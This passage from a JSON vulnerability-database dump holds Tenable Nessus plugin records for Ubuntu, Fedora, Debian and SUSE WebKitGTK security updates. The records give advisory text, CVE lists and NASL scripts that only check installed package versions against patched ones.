issues were discovered in the WebKitGTK+ Web and JavaScript engines. If a user were tricked into viewing a malicious website, a remote attacker could exploit a variety of issues related to web browser security, including cross-site scripting attacks, denial of service attacks, and arbitrary code execution.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2019-11-13T00:00:00", "type": "nessus", "title": "Ubuntu 18.04 LTS : WebKitGTK+ vulnerabilities (USN-4181-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2023-10-20T00:00:00", "cpe": ["p-cpe:/a:canonical:ubuntu_linux:libjavascriptcoregtk-4.0-18", "p-cpe:/a:canonical:ubuntu_linux:libjavascriptcoregtk-4.0-bin", "p-cpe:/a:canonical:ubuntu_linux:libjavascriptcoregtk-4.0-dev", "p-cpe:/a:canonical:ubuntu_linux:libwebkit2gtk-4.0-37", "p-cpe:/a:canonical:ubuntu_linux:libwebkit2gtk-4.0-37-gtk2", "p-cpe:/a:canonical:ubuntu_linux:libwebkit2gtk-4.0-dev", "p-cpe:/a:canonical:ubuntu_linux:webkit2gtk-driver", "cpe:/o:canonical:ubuntu_linux:18.04:-:lts", "p-cpe:/a:canonical:ubuntu_linux:gir1.2-javascriptcoregtk-4.0", "p-cpe:/a:canonical:ubuntu_linux:gir1.2-webkit2-4.0"], "id": "UBUNTU_USN-4181-1.NASL", "href": "https://www.tenable.com/plugins/nessus/130961", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-4181-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(130961);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/10/20\");\n\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_xref(name:\"USN\", value:\"4181-1\");\n\n script_name(english:\"Ubuntu 18.04 LTS : WebKitGTK+ vulnerabilities (USN-4181-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Ubuntu host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"A large number of security issues were discovered in the WebKitGTK+\nWeb and JavaScript engines. If a user were tricked into viewing a\nmalicious website, a remote attacker could exploit a variety of issues\nrelated to web browser security, including cross-site scripting\nattacks, denial of service attacks, and arbitrary code execution.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://ubuntu.com/security/notices/USN-4181-1\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8814\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libjavascriptcoregtk-4.0-18\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libjavascriptcoregtk-4.0-bin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libjavascriptcoregtk-4.0-dev\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libwebkit2gtk-4.0-37\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libwebkit2gtk-4.0-37-gtk2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libwebkit2gtk-4.0-dev\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:webkit2gtk-driver\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:gir1.2-javascriptcoregtk-4.0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:gir1.2-webkit2-4.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_copyright(english:\"Ubuntu Security Notice (C) 2019-2023 Canonical, Inc. / NASL script (C) 2019-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\ninclude('debian_package.inc');\n\nif ( ! get_kb_item('Host/local_checks_enabled') ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nvar os_release = get_kb_item('Host/Ubuntu/release');\nif ( isnull(os_release) ) audit(AUDIT_OS_NOT, 'Ubuntu');\nos_release = chomp(os_release);\nif (! ('18.04' >< os_release)) audit(AUDIT_OS_NOT, 'Ubuntu 18.04', 'Ubuntu ' + os_release);\nif ( ! get_kb_item('Host/Debian/dpkg-l') ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Ubuntu', cpu);\n\nvar pkgs = [\n {'osver': '18.04', 'pkgname': 'gir1.2-javascriptcoregtk-4.0', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'gir1.2-webkit2-4.0', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'libjavascriptcoregtk-4.0-18', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'libjavascriptcoregtk-4.0-bin', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'libjavascriptcoregtk-4.0-dev', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'libwebkit2gtk-4.0-37', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'libwebkit2gtk-4.0-37-gtk2', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'libwebkit2gtk-4.0-dev', 'pkgver': '2.26.2-0ubuntu0.18.04.1'},\n {'osver': '18.04', 'pkgname': 'webkit2gtk-driver', 'pkgver': '2.26.2-0ubuntu0.18.04.1'}\n];\n\nvar flag = 0;\nforeach package_array ( pkgs ) {\n var osver = NULL;\n var pkgname = NULL;\n var pkgver = NULL;\n if (!empty_or_null(package_array['osver'])) osver = package_array['osver'];\n if (!empty_or_null(package_array['pkgname'])) pkgname = package_array['pkgname'];\n if (!empty_or_null(package_array['pkgver'])) pkgver = package_array['pkgver'];\n if (osver && pkgname && pkgver) {\n if (ubuntu_check(osver:osver, pkgname:pkgname, pkgver:pkgver)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'gir1.2-javascriptcoregtk-4.0 / gir1.2-webkit2-4.0 / etc');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:31:51", "description": "- Improve performance of querying system fallback fonts.\n\n - Don’t use prgname in dbus-proxy socket path.\n\n - Fix thread-safety issues in image decoders.\n\n - Fix the build with WebDriver disabled.\n\n - Disable accelerated compositing when we fail to initialize the EGL dispaly under Wayland.\n\n - Fill the objects category in emoji picker.\n\n - Fix several crashes and rendering issues.\n\n - [CVE-2019-8812](https://webkitgtk.org/security/WSA-2019- 0006.html#CVE-2019-8812)\n\n - [CVE-2019-8814](https://webkitgtk.org/security/WSA-2019- 0006.html#CVE-2019-8814)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2019-11-15T00:00:00", "type": "nessus", "title": "Fedora 31 : webkit2gtk3 (2019-fa0c4b0674)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-12-24T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:webkit2gtk3", "cpe:/o:fedoraproject:fedora:31"], "id": "FEDORA_2019-FA0C4B0674.NASL", "href": "https://www.tenable.com/plugins/nessus/131048", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2019-fa0c4b0674.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131048);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/12/24\");\n\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_xref(name:\"FEDORA\", value:\"2019-fa0c4b0674\");\n\n script_name(english:\"Fedora 31 : webkit2gtk3 (2019-fa0c4b0674)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\" - Improve performance of querying system fallback fonts.\n\n - Don’t use prgname in dbus-proxy socket path.\n\n - Fix thread-safety issues in image decoders.\n\n - Fix the build with WebDriver disabled.\n\n - Disable accelerated compositing when we fail to\n initialize the EGL dispaly under Wayland.\n\n - Fill the objects category in emoji picker.\n\n - Fix several crashes and rendering issues.\n\n -\n [CVE-2019-8812](https://webkitgtk.org/security/WSA-2019-\n 0006.html#CVE-2019-8812)\n\n -\n [CVE-2019-8814](https://webkitgtk.org/security/WSA-2019-\n 0006.html#CVE-2019-8814)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2019-fa0c4b0674\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://webkitgtk.org/security/WSA-2019-0006.html#CVE-2019-8814\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected webkit2gtk3 package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8814\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:webkit2gtk3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:31\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^31([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 31\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC31\", reference:\"webkit2gtk3-2.26.2-1.fc31\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"webkit2gtk3\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:32:05", "description": "These vulnerabilities have been discovered in the webkit2gtk web engine :\n\n - CVE-2019-8812 An anonymous researcher discovered that maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8814 Cheolung Lee discovered that maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {}, "published": "2019-11-14T00:00:00", "type": "nessus", "title": "Debian DSA-4563-1 : webkit2gtk - security update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-12-24T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:webkit2gtk", "cpe:/o:debian:debian_linux:10.0"], "id": "DEBIAN_DSA-4563.NASL", "href": "https://www.tenable.com/plugins/nessus/130981", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-4563. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(130981);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/12/24\");\n\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_xref(name:\"DSA\", value:\"4563\");\n\n script_name(english:\"Debian DSA-4563-1 : webkit2gtk - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"These vulnerabilities have been discovered in the webkit2gtk web\nengine :\n\n - CVE-2019-8812\n An anonymous researcher discovered that maliciously\n crafted web content may lead to arbitrary code\n execution.\n\n - CVE-2019-8814\n Cheolung Lee discovered that maliciously crafted web\n content may lead to arbitrary code execution.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-8812\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-8814\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/source-package/webkit2gtk\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/buster/webkit2gtk\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2019/dsa-4563\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the webkit2gtk packages.\n\nFor the stable distribution (buster), these problems have been fixed\nin version 2.26.2-1~deb10+1.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8814\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:webkit2gtk\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:10.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/14\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"10.0\", prefix:\"gir1.2-javascriptcoregtk-4.0\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"gir1.2-webkit2-4.0\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libjavascriptcoregtk-4.0-18\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libjavascriptcoregtk-4.0-bin\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libjavascriptcoregtk-4.0-dev\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libwebkit2gtk-4.0-37\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libwebkit2gtk-4.0-37-gtk2\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libwebkit2gtk-4.0-dev\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"libwebkit2gtk-4.0-doc\", reference:\"2.26.2-1~deb10+1\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"webkit2gtk-driver\", reference:\"2.26.2-1~deb10+1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T14:59:19", "description": "This update for webkit2gtk3 to version 2.28.1 fixes the following issues :\n\nSecurity issues fixed :\n\nCVE-2020-10018: Fixed a denial of service because the m_deferredFocusedNodeChange data structure was mishandled (bsc#1165528).\n\nCVE-2020-11793: Fixed a potential arbitrary code execution caused by a use-after-free vulnerability (bsc#1169658).\n\nCVE-2019-8835: Fixed multiple memory corruption issues (bsc#1161719).\n\nCVE-2019-8844: Fixed multiple memory corruption issues (bsc#1161719).\n\nCVE-2019-8846: Fixed a use-after-free issue (bsc#1161719).\n\nCVE-2020-3862: Fixed a memory handling issue (bsc#1163809).\n\nCVE-2020-3867: Fixed an XSS issue (bsc#1163809).\n\nCVE-2020-3868: Fixed multiple memory corruption issues that could have lead to arbitrary code execution (bsc#1163809).\n\nCVE-2020-3864,CVE-2020-3865: Fixed logic issues in the DOM object context handling (bsc#1163809).\n\nNon-security issues fixed: Add API to enable Process Swap on (Cross-site) Navigation.\n\nAdd user messages API for the communication with the web extension.\n\nAdd support for same-site cookies.\n\nService workers are enabled by default.\n\nAdd support for Pointer Lock API.\n\nAdd flatpak sandbox support.\n\nMake ondemand hardware acceleration policy never leave accelerated compositing mode.\n\nAlways use a light theme for rendering form controls.\n\nAdd about:gpu to show information about the graphics stack.\n\nFixed issues while trying to play a video on NextCloud.\n\nFixed vertical alignment of text containing arabic diacritics.\n\nFixed build with icu 65.1.\n\nFixed page loading errors with websites using HSTS.\n\nFixed web process crash when displaying a KaTeX formula.\n\nFixed several crashes and rendering issues.\n\nSwitched to a single web process for Evolution and geary (bsc#1159329).\n\nNote that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2020-04-29T00:00:00", "type": "nessus", "title": "SUSE SLES12 Security Update : webkit2gtk3 (SUSE-SU-2020:1135-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8625", "CVE-2019-8710", "CVE-2019-8720", "CVE-2019-8743", "CVE-2019-8764", "CVE-2019-8766", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8823", "CVE-2019-8835", "CVE-2019-8844", "CVE-2019-8846", "CVE-2020-10018", "CVE-2020-11793", "CVE-2020-3862", "CVE-2020-3864", "CVE-2020-3865", "CVE-2020-3867", "CVE-2020-3868"], "modified": "2023-04-25T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0", "p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18-debuginfo", "p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0", "p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37-debuginfo", "p-cpe:/a:novell:suse_linux:typelib-1_0-javascriptcore", "p-cpe:/a:novell:suse_linux:typelib-1_0-webkit2", "p-cpe:/a:novell:suse_linux:typelib-1_0-webkit2webextension", "p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles", "p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles-debuginfo", "p-cpe:/a:novell:suse_linux:webkit2gtk3-debugsource", "p-cpe:/a:novell:suse_linux:webkit2gtk3-devel", "cpe:/o:novell:suse_linux:12"], "id": "SUSE_SU-2020-1135-1.NASL", "href": "https://www.tenable.com/plugins/nessus/136082", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2020:1135-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(136082);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2019-8625\",\n \"CVE-2019-8710\",\n \"CVE-2019-8720\",\n \"CVE-2019-8743\",\n \"CVE-2019-8764\",\n \"CVE-2019-8766\",\n \"CVE-2019-8769\",\n \"CVE-2019-8771\",\n \"CVE-2019-8782\",\n \"CVE-2019-8783\",\n \"CVE-2019-8808\",\n \"CVE-2019-8811\",\n \"CVE-2019-8812\",\n \"CVE-2019-8813\",\n \"CVE-2019-8814\",\n \"CVE-2019-8815\",\n \"CVE-2019-8816\",\n \"CVE-2019-8819\",\n \"CVE-2019-8820\",\n \"CVE-2019-8823\",\n \"CVE-2019-8835\",\n \"CVE-2019-8844\",\n \"CVE-2019-8846\",\n \"CVE-2020-3862\",\n \"CVE-2020-3864\",\n \"CVE-2020-3865\",\n \"CVE-2020-3867\",\n \"CVE-2020-3868\",\n \"CVE-2020-10018\",\n \"CVE-2020-11793\"\n );\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"SUSE SLES12 Security Update : webkit2gtk3 (SUSE-SU-2020:1135-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote SUSE host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"This update for webkit2gtk3 to version 2.28.1 fixes the following\nissues :\n\nSecurity issues fixed :\n\nCVE-2020-10018: Fixed a denial of service because the\nm_deferredFocusedNodeChange data structure was mishandled\n(bsc#1165528).\n\nCVE-2020-11793: Fixed a potential arbitrary code execution caused by a\nuse-after-free vulnerability (bsc#1169658).\n\nCVE-2019-8835: Fixed multiple memory corruption issues (bsc#1161719).\n\nCVE-2019-8844: Fixed multiple memory corruption issues (bsc#1161719).\n\nCVE-2019-8846: Fixed a use-after-free issue (bsc#1161719).\n\nCVE-2020-3862: Fixed a memory handling issue (bsc#1163809).\n\nCVE-2020-3867: Fixed an XSS issue (bsc#1163809).\n\nCVE-2020-3868: Fixed multiple memory corruption issues that could have\nlead to arbitrary code execution (bsc#1163809).\n\nCVE-2020-3864,CVE-2020-3865: Fixed logic issues in the DOM object\ncontext handling (bsc#1163809).\n\nNon-security issues fixed: Add API to enable Process Swap on\n(Cross-site) Navigation.\n\nAdd user messages API for the communication with the web extension.\n\nAdd support for same-site cookies.\n\nService workers are enabled by default.\n\nAdd support for Pointer Lock API.\n\nAdd flatpak sandbox support.\n\nMake ondemand hardware acceleration policy never leave accelerated\ncompositing mode.\n\nAlways use a light theme for rendering form controls.\n\nAdd about:gpu to show information about the graphics stack.\n\nFixed issues while trying to play a video on NextCloud.\n\nFixed vertical alignment of text containing arabic diacritics.\n\nFixed build with icu 65.1.\n\nFixed page loading errors with websites using HSTS.\n\nFixed web process crash when displaying a KaTeX formula.\n\nFixed several crashes and rendering issues.\n\nSwitched to a single web process for Evolution and geary\n(bsc#1159329).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1155321\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156318\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1159329\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1161719\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1163809\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1165528\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1169658\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8625/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8710/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8720/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8743/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8764/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8766/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8769/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8771/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8782/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8783/\");\n 